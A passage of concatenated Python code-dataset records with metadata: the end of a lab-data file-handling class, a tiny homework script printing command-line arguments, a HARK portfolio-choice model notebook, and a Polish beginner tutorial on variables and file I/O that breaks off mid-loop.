for a  key\n        \"\"\"\n\n        return all data for the `key` under the condition that the expression in `eval_str`\n        is True.\n\n        \"\"\"\n        array=[]\n        for l in self.select_data_eval(eval_str):\n            array.append(l[key])\n        if self.use_numpy:\n            return np.array(array)\n        else:\n            return array\n\n\n    def get_data_list(self,keylist, sel_func = None, sel_args = None):\n\n        \"\"\"\n\n        return all the data corresponding to the key list\n        as follows::\n\n           >>> a = df.get_data_list('key1:key2:key3')\n\n           >>> a = df.get_data_list('key1:key2:key3', myfind, ['name','J'])\n\n        return those data where the `name` values contain the character `J`\n\n        *a* contains the list of data\n\n        \"\"\"\n\n        akey=keylist.split(\":\")\n        dd = []\n        if sel_func == None:\n            for l in self.data:\n                ll=[]\n                for i in akey:\n                    ll.append( l[i] )\n                dd.append(ll)\n            if self.use_numpy:\n                return np.array(dd)\n            else:\n                return dd\n        else:\n            for l in self.data:\n                if self.check_data(sel_func, l, *sel_args):\n                    ll=[]\n                    for i in akey:\n                        ll.append( l[i] )\n                    dd.append(ll)\n            if self.use_numpy:\n                return np.array(dd)\n            else:\n                return dd\n\n    def get_data_list_eval(self,keylist, eval_str):\n        \"\"\"\n\n        similar function as select_data_eval but it only returns the\n        values for the keys defined in `keylist`.\n\n        \"\"\"\n        akey=keylist.split(\":\")\n        dd = []\n\n        for l in self.select_data_eval(eval_str):\n            ll=[]\n            for i in akey:\n                ll.append( l[i] )\n            dd.append(ll)\n        if self.use_numpy:\n            return np.array(dd)\n        else:\n            return dd\n\n    def show_all_data(self):\n        \"\"\"\n\n        print all data and keys stored\n\n        \"\"\"\n        for l in self.data:\n            print(l)\n    def get_all_data(self):\n        \"\"\"\n\n        return a list of all data stored\n\n        \"\"\"\n        return self.data\n    def write_complete_header(self,fp):\n        \"\"\"\n        write entire header including comments and internal parameters to file with\n        handle fp. Example:\n            \n        fp = open('mydile.data','w')\n        \n        datafile.write_comlete_header(fp)\n        \n        \"\"\"\n        for i,l in enumerate(self.adata[0:self.headindex]):\n            fp.write(l+'\\n')\n        # write header line\n        h = '#! '\n        n = 0\n        for k in self.keys[:-1]:\n            h = h + k+'['+'%s,%d'%(self.formats[k],n)+']/ '\n            n = n +1\n        fp.write(h+'\\n')\n    def update_header(self):\n        \"\"\"\n        update header line of this data file including format. This\n        makes sure that the header line is in sync with the dictionary keys\n        \"\"\"\n        # write header line\n        h = '#! '\n        n = 0\n        for k in self.keys[:-1]:\n            h = h + k+'['+'%s,%d'%(self.formats[k],n)+']/ '\n            n = n +1\n        # update data arrays\n        self.adata[self.headindex]=h\n        self.headerline = h\n    def write_header(self,fp):\n        \"\"\"\n        write only header line of this data file into file fp, including format\n        \"\"\"\n        # write header line\n        h = '#! '\n        n = 0\n        for k in self.keys[:-1]:\n            h = h + k+'['+'%s,%d'%(self.formats[k],n)+']/ '\n            n = n +1\n        fp.write(h+'\\n')\n    def write_line(self,fp, i):\n        \"\"\"\n        write data line i into file fp\n        \"\"\"\n        l = ''\n        # check array boundary\n        ndata = len(self.data)\n        if (i<0) :\n            print('index below lower bound, set to 0')\n            i = 0\n        if (i>=ndata):\n            print('index above upper bound, set to : ', ndata-1)\n        for k in self.keys[:-1]:\n            format = self.output_format[ self.formats[k] ]\n            l = l + format%(self.data[i][k])\n        fp.write(l+'\\n')\n    def write_all(self,fp, complete_header = False):\n        \"\"\"\n        write all data to a file associated to fp\n\n        if complete_header = True include the complete header including all comments\n        \"\"\"\n        if complete_header:\n            self.write_complete_header(fp)\n        else:\n            self.write_header(fp)\n        for i in range(len(self.data)):\n            self.write_line(fp, i)\n        fp.close()\n    #   new function to add a key\n    def write_selected(self,fp,index_list, complete_header = False):\n        \"\"\"\n        write a new datafile with an identical header but enter only\n        those data with an index given in index_list. If the index does not\n        exist print a message and skip it.\n\n        if complete_header = True include the complete header including all comments\n\n        \"\"\"\n        if complete_header:\n            self.write_complete_header(fp)\n        else:\n            self.write_header(fp)\n        for i in index_list:\n            try:\n                self.write_line(fp, i)\n            except:\n                print('cannot write index : ', i, ' does it exist ?')\n        fp.close()\n\n    def add_key(self,key,format='f'):\n        \"\"\"\n        add a new key, this is useful if you want to add new data\n        assign new values using a loop like::\n\n        >>> df.add_key('newkey',format='i')\n\n        The new data need to be stored as follows::\n\n        >>> for d in df.data:\n        >>>     d['newkey']= some_new_value\n\n        where df is the datafile and 'newkey' the new key. The new data set\n        can be saved using ``fp = open('new_file','w')`` and ``df.write_all(fp)``\n        \"\"\"\n        # check if key already exists\n        try:\n            self.keys.index(key)\n            print(key, \" exists already !\")\n            return\n        except:\n            for d in self.data:\n                # set initial value to none\n                d[key] = None\n        # add the new key at the end of the keys list but before indx\n        self.keys.insert(len(self.keys)-1,key)\n        # add the format information\n        try:\n            fi = self.fmt_characters.index(format)\n        except:\n            print('unknown format : ', format, ' use f instead')\n            format = 'f'\n        self.formats[key] =  format\n        self.update_header()\n    # end\n    def delete_key(self,key):\n        \"\"\"\n        remove a key and all values associated with it\n        \"\"\"\n        # remove the data for the key\n        for d in self.data:\n            del d[key]\n        # remove the format for this key\n        fmt = self.formats.pop(key)\n        # now remove the key from the key list\n        self.keys.remove(key)\n        print('key : ', key , ' and format : ', fmt, ' removed')\n        self.update_header()\n    # end\n\n    def add_data(self, keys,line):\n        \"\"\"\n        \n        add data to the data file\n        \n        d.add_data('x:y:z','xval yval zval')\n        \n\n        xval, yval, zval are the values as they would be netered in a data file line\n        \n        both arguments are strings !\n        \n        \n        IMPORTANT: add the values to all current lines of the data file !\n        \n        \"\"\"\n        \n        key_l = keys.split(':')\n        # check the key list\n        key_index=[]\n        for k in self.keys[:-1]:  # skip the indx\n            try:\n                ki = key_l.index(k)\n                key_index.append(ki)\n            except:\n                print(k, ' does not exist !, nothing added')\n                return\n        # sort the argumens according to the sequence of the keys\n        lsp = line.split()\n        fline = [lsp[i] for i in key_index]\n        line = ''\n        for fl in fline: line += fl+' '\n        self.adata.append(line.strip())\n        print(line)\n        \"\"\"\n        f = self.parse_line(line.strip())\n        self.data.append(self.make_dict(self.keys,f) )\n        \"\"\"\n        self.make_array()\n\n    def add_header_comment(self, text):\n        \"\"\"\n        add a comment line to the header. The # at the beginning is automatically added !\n\n        * for a normal comment start with a space\n        * to add a parameter start the comment with a \\\n        \"\"\"\n        self.adata.insert(self.headindex, '#' + text)\n        self.headindex += 1\n        \n    def add_parameter(self, name, value):\n        \"\"\"\n        add a parameter to the comment section\n        \"\"\"\n        cmd = '\\ {} = {} '.format(name, value)\n        self.add_header_comment(cmd)\n        \n    def save(self, file = None):\n        \"\"\"\n\n        Save the current datafile. \n\n        With the keyword: *file* = 'new_file'\n\n        the datafile will be written into the new_file name\n\n        \"\"\"\n        if file == None:\n            o = open(self.filename,'w')\n        else:\n            o = open( file, 'w')\n        self.write_all(o, complete_header = True)\n\n    def make_fmt(self):\n        fmt = ''\n        for k in self.keys[:-1]:\n            fmt += format_dict[self.formats[k]] + ', '\n        return fmt.strip()[:-1]\n\n    def make_csv(self):\n        keys = self.keys[:-1]\n        csv = [ ''.join([k + ',' for k in keys]) ]\n        for l in self.data:\n            fmt = self.make_fmt()\n            data = [l[k] for k in keys]\n            ll = fmt.format(*data)\n            csv.append(ll)\n        return csv\n\n    def write_csv(self, f):\n        \"\"\"\n        \n        save the current file as a csv file\n        \n        f : file name  to be used\n        \n        \"\"\"\n        o = open(f,'w')\n        csv = self.make_csv()\n        for l in csv:\n            o.write(l + '\\n')\n        o.close()\n\n\n#\n", "meta": {"hexsha": "54dc8f809516673f26de55bde6321efcbb89e4d6", "size": 29009, "ext": "py", "lang": "Python", "max_stars_repo_path": "build/lib/LT/datafile.py", "max_stars_repo_name": "boeglinw/LabTools3", "max_stars_repo_head_hexsha": "e05d6a7208eec363c8344f6fdcf395f7df5030fc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "build/lib/LT/datafile.py", "max_issues_repo_name": "boeglinw/LabTools3", "max_issues_repo_head_hexsha": "e05d6a7208eec363c8344f6fdcf395f7df5030fc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "build/lib/LT/datafile.py", "max_forks_repo_name": "boeglinw/LabTools3", "max_forks_repo_head_hexsha": "e05d6a7208eec363c8344f6fdcf395f7df5030fc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.2934196332, "max_line_length": 112, "alphanum_fraction": 0.5031541935, "include": true, "reason": "import numpy", "num_tokens": 6558, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073334000459302, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.059506215800706495}}
{"text": "import numpy as np      #the numpy library\r\nimport matplotlib.pyplot as plt     #this is matplotlib's pyplot\r\n\r\nimport sys  #gives access to C-like sys libraries\r\nimport os   #gives access to operating systems\r\n\r\nprint(sys.argv)     #command line arguments\r\nprint(os.getcwd)    #this gives the current working directory", "meta": {"hexsha": "54ba9c5a25731bd4cef18f632cde314708ac2b4a", "size": 319, "ext": "py", "lang": "Python", "max_stars_repo_path": "astr-119-hw/useful_modules.py", "max_stars_repo_name": "Aukau/Astr-119", "max_stars_repo_head_hexsha": "da56326c84ad6755aee0182d87c607b4c321c45d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "astr-119-hw/useful_modules.py", "max_issues_repo_name": "Aukau/Astr-119", "max_issues_repo_head_hexsha": "da56326c84ad6755aee0182d87c607b4c321c45d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2021-09-27T18:42:44.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-09T18:01:31.000Z", "max_forks_repo_path": "astr-119-hw/useful_modules.py", "max_forks_repo_name": "Aukau/Astr-119", "max_forks_repo_head_hexsha": "da56326c84ad6755aee0182d87c607b4c321c45d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.875, "max_line_length": 65, "alphanum_fraction": 0.7398119122, "include": true, "reason": "import numpy", "num_tokens": 69, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40733340004593027, "lm_q2_score": 0.14608724704829568, "lm_q1q2_score": 0.05950621504353207}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:percent\n#     notebook_metadata_filter: all\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.2'\n#       jupytext_version: 1.2.3\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n#   language_info:\n#     codemirror_mode:\n#       name: ipython\n#       version: 3\n#     file_extension: .py\n#     mimetype: text/x-python\n#     name: python\n#     nbconvert_exporter: python\n#     pygments_lexer: ipython3\n#     version: 3.7.6\n# ---\n\n# %% [markdown]\n# # ConsPortfolioModel Documentation\n#\n# [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/econ-ark/DemARK/master?filepath=notebooks%2FConsPortfolioModelDoc.ipynb)\n\n# %% {\"code_folding\": []}\n# Setup stuff\n\nimport HARK.ConsumptionSaving.ConsPortfolioModel as cpm\nimport HARK.ConsumptionSaving.ConsumerParameters as param\nimport copy\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport warnings\nwarnings.filterwarnings('ignore')\nfrom HARK.ConsumptionSaving.ConsPortfolioModel import PortfolioSolution\n\n# %% [markdown]\n# We implement three different ways to allow portfolio choice.\n#            The agent can choose \n#               * any portfolio share ('continuous choice')\n#               * only a specified set of portfolio shares ('discrete choice')\n#                 * With probability 1 (agent always gets to choose)\n#                 * With probability 0 < p < 1 (stochastic chance to choose)\n#         \n#            We allow two choices for the description of the \n#            distribution of the stochastic variable:\n#            1. A generic discrete probability distribution\n#               * Nodes and their probabilities are specified\n#            2. A true lognormal distribution\n#               * The mean return and the standard deviation are specified\n#         \n#            In the discrete portfolio shares case, the user also must\n#            input a function that *draws* from the distribution in drawRiskyFunc\n#\n#            Other assumptions: \n#               * distributions are time constant\n#               * probability of being allowed to reoptimize is time constant\n#                  * If p < 1, you must specify the PortfolioSet discretely\n#         \n\n# %% {\"code_folding\": []}\n# Set up the model\n# Parameters from Mehra and Prescott (1985):\nAvg = 1.08 # equity premium \nStd = 0.20 # standard deviation of rate-of-return shocks \n\nRiskyDstnFunc = cpm.RiskyDstnFactory(RiskyAvg=Avg, RiskyStd=Std)       # Generates nodes for integration\nRiskyDrawFunc = cpm.LogNormalRiskyDstnDraw(RiskyAvg=Avg, RiskyStd=Std) # Function to generate draws from a lognormal distribution\n\ninit_portfolio = copy.copy(param.init_idiosyncratic_shocks) # Default parameter values for inf horiz model - including labor income with transitory and permanent shocks\ninit_portfolio['approxRiskyDstn'] = RiskyDstnFunc\ninit_portfolio['drawRiskyFunc']   = RiskyDrawFunc\ninit_portfolio['RiskyCount']      = 2   # Number of points in the approximation; 2 points is minimum\ninit_portfolio['RiskyShareCount'] = 25  # How many discrete points to allow for portfolio share\ninit_portfolio['Rfree']           = 1.0 # Riskfree return factor (interest rate is zero)\ninit_portfolio['CRRA']            = 6.0 # Relative risk aversion\n\n# Uninteresting technical parameters:\ninit_portfolio['aXtraMax']        = 100 \ninit_portfolio['aXtraCount']      = 50\ninit_portfolio['BoroCnstArt']     = 0.0 # important for theoretical reasons\n# init_portfolio['vFuncBool'] = True # We do not need value function for purposes here\n\ninit_portfolio['DiscFac'] = 0.92 # Make them impatient even wrt a riskfree return of 1.08 \n\n# Create portfolio choice consumer type\npcct = cpm.PortfolioConsumerType(**init_portfolio)\n\n# %% {\"code_folding\": []}\n# Solve the model under the given parameters\n\npcct.solve()\naMin = 0   # Minimum ratio of assets to income to plot\naMax = 10  # Maximum ratio of assets to income to plot\naPts = 100 # Number of points to plot \n\n# Campbell-Viceira (2002) approximation to optimal portfolio share in Merton-Samuelson (1969) model\npcct.MertSamCampVicShare = pcct.RiskyShareLimitFunc(RiskyDstnFunc(init_portfolio['RiskyCount']))\n\n# Define grid of points on which to plot\neevalgrid = np.linspace(0,aMax,aPts) # range of values of assets for the plot\n\n# Plot portfolio share by wealth-to-income ratio\nplt.plot(eevalgrid, pcct.solution[0].RiskyShareFunc[0][0](eevalgrid))\nplt.axhline(pcct.MertSamCampVicShare, c='r') # The Campbell-Viceira approximation\nplt.ylim(0,1.05)\nplt.text((aMax-aMin)/4,0.45,r'$\\uparrow $ limit as  $m \\uparrow \\infty$',fontsize = 22,fontweight='bold')\nplt.show()\n\n# %% {\"code_folding\": [0]}\n# Simulate 20 years of behavior for a set of consumers initially distributed widely\nSimPer = 20\n\npcct.track_vars = ['aNrmNow', 't_age', 'RiskyShareNow']\npcct.T_sim = SimPer\npcct.initializeSim()\npcct.simulate()\npcct.RiskyShareNow_hist\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.set_zlim(pcct.MertSamCampVicShare,1.0)\nax.scatter(pcct.aNrmNow_hist, pcct.t_age_hist, pcct.RiskyShareNow_hist)\nplt.show()\n\n# The consumers are impatient and so even if they start rich they end up as buffer stock savers\n# But with all of their buffer stock savings in the stock market\n\n# %%\n# Solve the specialized / simple version for which Campbell-Viceira (2002) is a good approximation\n# (as wealth approaches infinity)\n# This is the version for which Campbell and Viceira provide an approximate formula\n# assuming lognormally distributed shocks\n\ninit_lognormportfolio = copy.deepcopy(init_portfolio) # Use same parameter values\ninit_lognormportfolio['RiskyAvg']   = Avg\ninit_lognormportfolio['RiskyStd']   = Std\ninit_lognormportfolio['RiskyCount'] = 11 # Eleven is enough points to do justice to the distribution\nlnpcct = cpm.LogNormalPortfolioConsumerType(**init_lognormportfolio)\n\nlnpcct.solve()\nlnpcct.MertSamCampVicShare = lnpcct.RiskyShareLimitFunc(RiskyDstnFunc(init_portfolio['RiskyCount']))\n\nfig = plt.figure()\nplt.plot(eevalgrid, lnpcct.solution[0].RiskyShareFunc[0][0](eevalgrid))\nplt.axhline(lnpcct.MertSamCampVicShare, c='r')\nplt.ylim(0,1.05)\nplt.text((aMax-aMin)/4,lnpcct.MertSamCampVicShare-0.1,r'$\\uparrow $ limit as  $m \\uparrow \\infty$',fontsize = 22,fontweight='bold')\nplt.show()\n\n# %%\n# Again simulate a few periods -- similar results (poor buffer stock savers put all their money in the stock market)\nlnpcct.track_vars = ['aNrmNow', 't_age', 'RiskyShareNow']\nlnpcct.T_sim = SimPer\nlnpcct.initializeSim()\nlnpcct.simulate()\nlnpcct.RiskyShareNow_hist\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.scatter(lnpcct.aNrmNow_hist, lnpcct.t_age_hist, lnpcct.RiskyShareNow_hist)\nax.set_zlim(lnpcct.MertSamCampVicShare,1.0)\nplt.show()\n\n# %%\n# Version where only discrete values of portfolio share of risky assets are allowed\n\ninit_portfolio_prb = copy.deepcopy(init_portfolio)\n\ninit_portfolio_prb['AdjustPrb'] = 1.0\ninit_portfolio_prb['PortfolioDomain'] = cpm.DiscreteDomain([0.0, 0.5, 0.6, 1.0])\npcct_prb = cpm.PortfolioConsumerType(**init_portfolio_prb)\npcct_prb.solve()\n\neevalgrid = np.linspace(0,100,100)\nplt.plot(eevalgrid, pcct_prb.solution[0].RiskyShareFunc[0][0](eevalgrid))\nplt.axhline(pcct_prb.RiskyShareLimitFunc(RiskyDstnFunc(init_portfolio['RiskyCount'])), c='r')\nplt.ylim(0,1.05)\nplt.show()\n\n\n# %%\n# Version where you can choose your portfolio share only with some 0 < p < 1\n\ninit_portfolio_prb = copy.deepcopy(init_portfolio)\n\ninit_portfolio_prb['AdjustPrb'] = 0.5\ninit_portfolio_prb['PortfolioDomain'] = cpm.DiscreteDomain([0.0, 0.6, 1.0])\npcct_prb = cpm.PortfolioConsumerType(**init_portfolio_prb)\n\npcct_prb.solve()\n\nplt.plot(eevalgrid, pcct_prb.solution[0].RiskyShareFunc[0][0](eevalgrid))\nplt.show()\n\npcct_prb.track_vars = ['aNrmNow', 't_age', 'RiskyShareNow', 'CantAdjust']\npcct_prb.T_sim = 10\npcct_prb.AgentCount = 30\npcct_prb.initializeSim()\npcct_prb.simulate()\npcct_prb.RiskyShareNow_hist\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.scatter(pcct_prb.aNrmNow_hist, pcct_prb.t_age_hist, pcct_prb.RiskyShareNow_hist)\nplt.show()\n", "meta": {"hexsha": "369a32b6dffde549be04f5d21baf1a0f09d3ad5a", "size": 8170, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/ConsPortfolioModelDoc.py", "max_stars_repo_name": "frankovici/DemARK", "max_stars_repo_head_hexsha": "177c09bd387160d06f979c417671b3de18746846", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/ConsPortfolioModelDoc.py", "max_issues_repo_name": "frankovici/DemARK", "max_issues_repo_head_hexsha": "177c09bd387160d06f979c417671b3de18746846", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/ConsPortfolioModelDoc.py", "max_forks_repo_name": "frankovici/DemARK", "max_forks_repo_head_hexsha": "177c09bd387160d06f979c417671b3de18746846", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.0, "max_line_length": 168, "alphanum_fraction": 0.7328029376, "include": true, "reason": "import numpy", "num_tokens": 2278, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.12085322932404165, "lm_q1q2_score": 0.05948252563683785}}
{"text": "\"\"\"\npierwsze kroki w zmiennych\n\n\"\"\"\n\nif __name__ == '__main__':\n    '''\n    a co je\u017celi chcieliby\u015bmy wpisa\u0107 warto\u015b\u0107 tylko tak\u0105 jak\u0105 chcemy, a jeszcze \n    jej nie znamy przed uruchomieniem programu?\n\n    w takich przypadkach, przydatna okazuje si\u0119 funkcja \"input\"\n    '''\n\n    # a = input('podaj a: ')\n    # b = input('podaj b: ')\n\n    # print(a + b)\n\n    '''\n    dlaczego doda\u0142o 3 + 7 i wysz\u0142o 37?\n\n    nasz skrypt doda\u0142 te dwie zmienne tak jakby by\u0142y one tekstem\n\n    trzeba skonwertowa\u0107 dane z klawiatury na typ liczbowy, np. \"int\"\n    '''\n\n    # a = int(input('podaj a: '))\n    # b = int(input('podaj b: '))\n\n    # print(a + b)\n\n    '''\n    mo\u017cemy definiowa\u0107 r\u00f3\u017cne typy zmiennych, np. \n      \u0142a\u0144cuch znak\u00f3w              (string)\n      liczb\u0119 ca\u0142kowit\u0105            (integer)\n      warto\u015b\u0107 prawda/fa\u0142sz        (boolean)\n      liczb\u0119 zmiennoprzecinkow\u0105   (float)\n    '''\n\n    i = 4\n    s = \"5\"\n    b = True\n    f = .0\n\n    '''\n    lub te\u017c korzystaj\u0105c z wbudowanych funkcji:\n    '''\n\n    i2 = int('234')\n    s2 = str(450)\n    # w obu przypadkach powy\u017cej, zajdzie konwersja typu\n    b2 = bool(2)\n    f2 = float(1)\n\n    print(f2)\n    print(b2)\n    print(s2)\n    print(i2)\n\n    '''\n    mo\u017cemy sprawdza\u0107 typ zmiennej stosuj\u0105c funkcj\u0119 \"type\" albo \"isinstance\"\n\n    w ten spos\u00f3b mo\u017cemy sprawdzi\u0107 czy zmienne odpowiadaj\u0105 temu typowi kt\u00f3ry chcemy:\n    '''\n\n    print(isinstance(i, int))\n    print(type(b))\n    print(isinstance(b, bool))\n    print(type(f))\n\n    if isinstance(b, bool):\n        print(\"dzia\u0142am poprawnie\")\n    else:\n        print(\"poda\u0142e\u015b z\u0142e dane, spr\u00f3buj jeszcze raz\")\n\n    print(type(f) == float)\n    print(type(f))\n    print(type(float))\n    print(float)\n\n    if type(f) == float:\n        c = 15. + f\n        print(c)\n    else:\n        print(\"incorrect data type\")\n\n    '''\n    co si\u0119 stanie gdy to do siebie dodamy? czy kolejno\u015b\u0107 ma znaczenie?\n    '''\n\n    # print(a + b)\n    # print(b + a)\n\n    '''\n    nie mo\u017cemy doda\u0107 do siebie tych zmiennych od razu, musimy je przekonwertowa\u0107 na typ kt\u00f3ry umo\u017cliwia nam ich dodawanie\n    czyli na typ wsp\u00f3lny dla obu zmiennych (np. obie typu string, obie typu integer itp)\n    \n    dobra a co je\u017celi by\u015bmy chcieli pomn\u00f3\u017cy\u0107 przez co\u015b tekst?\n    '''\n\n    print(\"AAAAAAAAAA\" * 10)\n\n    '''\n    zapisywanie danych do pliku\n\n    jest mo\u017cliwych kilka metod zapisu, najprostsz\u0105 z nich jest otwarcie ju\u017c istniej\u0105cego pliku i zapisanie do niego\n    informacji\n\n    plik otwieramy za pomoc\u0105 wbudowanej funkcji open, w nawiasie podaj\u0105c nazw\u0119 pliku, oraz przekazuj\u0105c go do zmiennej\n\n    m\u00f3wimy tu o tak zwanym \"strumieniu danych\" kt\u00f3ry przypisujemy do zmiennej \"file\" zaznaczaj\u0105c, \u017ce chodzi tu o\n    strumie\u0144 danych zapisywanych do pliku\n\n    nast\u0119pnie odwo\u0142ujemy si\u0119 do pliku, po kropce wywo\u0142uj\u0105c wewn\u0119trzn\u0105 funkcj\u0119 \"write\" w nawiasie kt\u00f3rej podajemy dane\n\n    dane musz\u0105 mie\u0107 format tekstowy; po zapisie zamykamy strumie\u0144 wywo\u0142uj\u0105c wewn\u0119trzn\u0105 funkcj\u0119 \"close()\"\n    '''\n\n    a = 5\n\n    file = open('new_file.txt', 'w')\n    file.write(str(a))\n    file.close()\n\n    '''\n    aby nie trzeba by\u0142o zamyka\u0107 pliku samemu oraz przypisywa\u0107 strumienia do zmiennej, mo\u017cemy u\u017cy\u0107 r\u00f3wnie\u017c klauzuli\n\n    \"\n        with (tutaj co\u015b) as (tutaj nazwa, na jak\u0105 chcemy przechrzci\u0107 nasze co\u015b):\n            instrukcje...\n    \"\n\n    korzystamy tutaj z tzw. \"context manager'a\"\n\n    CM pozwala nam, w ramach operowania na danej klasie obiektu wykona\u0107 pewne funkcje, kt\u00f3re wymagane by\u0142yby zawsze\n\n    w przypadku zwyk\u0142ego otwarcia strumienia danych do pliku s\u0105 to dwie rzeczy:\n        przypisanie strumienia do zmiennej\n            oraz\n        po zako\u0144czonych opearacjach zamkni\u0119cie strumienia\n\n    tak\u0105 konstrukcj\u0119 mo\u017cna wykorzysta\u0107 wsz\u0119dzie, np. przy po\u0142\u0105czeniach z baz\u0105 danych, gdzie w wielu \n    miejscach w programie m\u00f3g\u0142bym:\n        sprawdza\u0107 czy dany u\u017cytkownik istnieje w bazie\n        sprawdza\u0107 czy loguje si\u0119 z innego IP ni\u017c zazwyczaj\n        sprawdza\u0107 czy nie zosta\u0142 zbanowany\n        sprawdza\u0107 czy pewna osoba nie chce zarejestrowa\u0107 si\u0119 na podobny nick do zbanowanego\n\n    w ka\u017cdych z tych sytuacji musia\u0142bym pisa\u0107 kilka polece\u0144:\n        po\u0142\u0105cz z baz\u0105 danych\n        za\u0142aduj tabel\u0119 u\u017cytkownicy\n            (teraz instrukcje specyficzne dla przypadku)\n        zapisz zmiany\n        zako\u0144cz po\u0142\u0105czenie\n    te 4 rzeczy mog\u0142yby wykonywa\u0107 si\u0119 automatycznie, za kulisami, oraz ZAWSZE, przy u\u017cyciu CM\n    (jako cz\u0142owiek m\u00f3g\u0142bym np. zapomnie\u0107 do\u0142\u0105czy\u0107 instrukcj\u0119 zamkni\u0119cia po\u0142\u0105czenia, w wyniku czego po pewnym czasie serwer\n    by\u0142by przeci\u0105\u017cony przez niezamkni\u0119te po\u0142\u0105czenia z baz\u0105, CM automatyzuje to i nie musz\u0119 si\u0119 martwi\u0107)\n    '''\n    with open('new_file2.txt', 'x') as file:\n        file.write('tu jest tekst')\n        file.write(str(a))\n\n    with open('new_file2.txt', 'r') as file:\n        caly_tekst_z_pliku = file.read()\n        print(caly_tekst_z_pliku)\n\n    with open('new_file2.txt', 'r') as file:\n        caly_tekst_z_pliku = file.read()\n        print(caly_tekst_z_pliku)\n\n    with open('new_file2.txt', 'w') as file:\n        file.write('file overwritten!')\n\n    with open('new_file2.txt', 'r') as file:\n        caly_tekst_z_pliku = file.read()\n        print(caly_tekst_z_pliku)\n\n    '''\n    open ma kilka mo\u017cliwych tryb\u00f3w dzia\u0142ania:\n        po przecinku, jako kolejny argument:\n            \"x\" - otw\u00f3rz do zapisu, tworzy automatycznie plik (ZAK\u0141ADA \u017ce go nie ma, jak znajdzie wywala b\u0142\u0105d)\n            \"w\" - otw\u00f3rz do zapisu, nadpisuje wszystko co jest w ju\u017c istniej\u0105cym pliku now\u0105 tre\u015bci\u0105 \n            \"a\" (od 'append') - otw\u00f3rz do zapisu, zapisuje na koniec pliku w nowym wierszu zostawiaj\u0105c to co ju\u017c jest\n            \"r\" (od read) - otw\u00f3rz do odczytu\n            otatnie 2 wywalaj\u0105 b\u0142\u0105d gdy nie znajd\u0105 pliku\n\n    stosuj\u0105c nasz\u0105 wiedz\u0119 z poprzedniego przyk\u0142adu, napiszmy to w klauzuli try/except \n    '''\n\n    try:\n        with open('new_file2.txt', 'x') as file:\n            file.write('tu jest tekst')\n            file.write(str(a))\n    except FileExistsError:\n        with open('new_file2.txt', 'a') as file:\n            file.write('tu jest tekst')\n            file.write(str(a))\n\n    '''\n    no dobrze m\u00f3wili\u015bmy tu o podstawowych typach zmiennych, tak \u017ceby m\u00f3c si\u0119 jakkolwiek wypowiedzie\u0107\n\n    a co gdy mamy wiele takich zmiennych, np. 100 czy 200 czy 1000000? B\u0119dziemy je tak wypisywa\u0107 w niesko\u0144czono\u015b\u0107?\n    Z pomoc\u0105 przyj\u015b\u0107 mog\u0105 nam listy i s\u0142owniki\n    '''\n\n    a = []  # deklaracja utworzenia listy\n    b = {}  # deklracja utworzenia s\u0142ownika\n\n    '''\n    jak z nich korzysta\u0107? jest to niezwykle proste, lecz odmienne dla obu tych typ\u00f3w\n\n    najpierw listy\n    '''\n\n    c = [0, 1, 2, 3, 4, 5, 6, 8, 9, True, 12415, 124.26236, 'awphphfaw', 12 + 45]\n\n    '''\n    ka\u017cdy obiekt kt\u00f3ry chcemy wpisa\u0107 do tablicy, musi zosta\u0107 umieszczony w niej po kolei, ka\u017cdy nast\u0119pny po przecinku\n    w ten spos\u00f3b wype\u0142niamy list\u0119 w spos\u00f3b zwyczajny\n\n    na li\u015bcie mog\u0105 si\u0119 znale\u017a\u0107 r\u00f3\u017cne typy danych, a nawet skomplikowane obiekty o kt\u00f3rych b\u0119dzie wi\u0119cej p\u00f3\u017aniej\n\n    a jak w spos\u00f3b zautomatyzowany wpisa\u0107 liczby w tablic\u0119, np. generowane przez jak\u0105\u015b funkcj\u0119 kolegi?\n\n    mo\u017cna skorzysta\u0107 tutaj z p\u0119tli for\n    '''\n    # a = []  # b\u0119dziemy wype\u0142nia\u0107 pust\u0105 tablic\u0119, by np. przekaza\u0107 j\u0105 do innego miejsca w programie\n    pygod = 'jestem bogiem pythona'\n    print(a)\n    for i in range(20):\n        